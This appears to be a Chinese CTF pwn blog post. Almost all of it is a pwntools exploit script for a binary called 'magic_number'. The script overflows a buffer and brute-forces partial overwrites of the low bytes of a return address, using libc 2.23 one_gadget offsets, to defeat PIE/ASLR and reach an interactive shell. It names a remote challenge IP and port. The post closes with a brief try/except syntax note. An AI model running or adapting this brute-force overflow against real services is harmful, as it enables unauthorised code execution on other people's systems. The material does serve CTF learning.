【八芒星计划】pwn python PIE爆破脚本绕过ASLR 覆盖后几位

from pwn import *
from LibcSearcher import * 
import time
local_file  = './magic_number'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('183.129.189.60', 10010)
    #libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
list1 = ['\x02', '\x12', '\x22', '\x32', '\x42', '\x52', '\x62', '\x72', '\x82', '\x92', '\xa2', '\xb2', '\xc2', '\xd2', '\xe2', '\xf2']
list2 = ['\x00','\x01','\x02','\x03','\x04','\x05','\x06','\x07','\x08','\x09','\x0a','\x0b','\x0c','\x0d','\x0e','\x0f','\x10','\x11','\x12','\x13','\x14','\x15','\x16','\x17','\x18','\x19','\x1a','\x1b','\x1c','\x1d','\x1e','\x1f','\x20','\x21','\x22','\x23','\x24','\x25','\x26','\x27','\x28','\x29','\x2a','\x2b','\x2c','\x2d','\x2e','\x2f','\x30','\x31','\x32','\x33','\x34','\x35','\x36','\x37','\x38','\x39','\x3a','\x3b','\x3c','\x3d','\x3e','\x3f','\x40','\x41','\x42','\x43','\x44','\x45','\x46','\x47','\x48','\x49','\x4a','\x4b','\x4c','\x4d','\x4e','\x4f','\x50','\x51','\x52','\x53','\x54','\x55','\x56','\x57','\x58','\x59','\x5a','\x5b','\x5c','\x5d','\x5e','\x5f','\x60','\x61','\x62','\x63','\x64','\x65','\x66','\x67','\x68','\x69','\x6a','\x6b','\x6c','\x6d','\x6e','\x6f','\x70','\x71','\x72','\x73','\x74','\x75','\x76','\x77','\x78','\x79','\x7a','\x7b','\x7c','\x7d','\x7e','\x7f','\x80','\x81','\x82','\x83','\x84','\x85','\x86','\x87','\x88','\x89','\x8a','\x8b','\x8c','\x8d','\x8e','\x8f','\x90','\x91','\x92','\x93','\x94','\x95','\x96','\x97','\x98','\x99','\x9a','\x9b','\x9c','\x9d','\x9e','\x9f','\xa0','\xa1','\xa2','\xa3','\xa4','\xa5','\xa6','\xa7','\xa8','\xa9','\xaa','\xab','\xac','\xad','\xae','\xaf','\xb0','\xb1','\xb2','\xb3','\xb4','\xb5','\xb6','\xb7','\xb8','\xb9','\xba','\xbb','\xbc','\xbd','\xbe','\xbf','\xc0','\xc1','\xc2','\xc3','\xc4','\xc5','\xc6','\xc7','\xc8','\xc9','\xca','\xcb','\xcc','\xcd','\xce','\xcf','\xd0','\xd1','\xd2','\xd3','\xd4','\xd5','\xd6','\xd7','\xd8','\xd9','\xda','\xdb','\xdc','\xdd','\xde','\xdf','\xe0','\xe1','\xe2','\xe3','\xe4','\xe5','\xe6','\xe7','\xe8','\xe9','\xea','\xeb','\xec','\xed','\xee','\xef','\xf0','\xf1','\xf2','\xf3','\xf4','\xf5','\xf6','\xf7','\xf8','\xf9','\xfa','\xfb','\xfc','\xfd','\xfe','\xff']
list3 = ['\x02', '\x12', '\x22']
def debug(cmd=''):
     gdb.attach(r,cmd)
while True:
    local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
    remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
    select = 0
    if select == 0:
        r = process(local_file)
        #libc = ELF(local_libc)
    else:
        r = remote('183.129.189.60', 10010)
        #libc = ELF(remote_libc)
    elf = ELF(local_file)
   
    p = 'a'*0x30 + 'b'*8 + '\x26' + random.sample(list1,1)[0] + random.sample(list2,1)[0]
    #p = 'a'*0x30 + 'b'*8 + '\x16'+ random.sample(list3,1)[0] +'\xa5'
    time.sleep(5)
    se(p)
    r.recv()
    try:
        r.recv(timeout=1)
    except EOFError:     
        r.close()
        continue
    else:
        r.interactive()
        break

try:
<语句> #正常的操作
except <名字>：
<语句> #如果在try部份引发了’name’异常
except <名字>，<数据>:
<语句> #如果引发了’name’异常，获得附加的数据
else:
<语句> #如果没有异常发生执行这里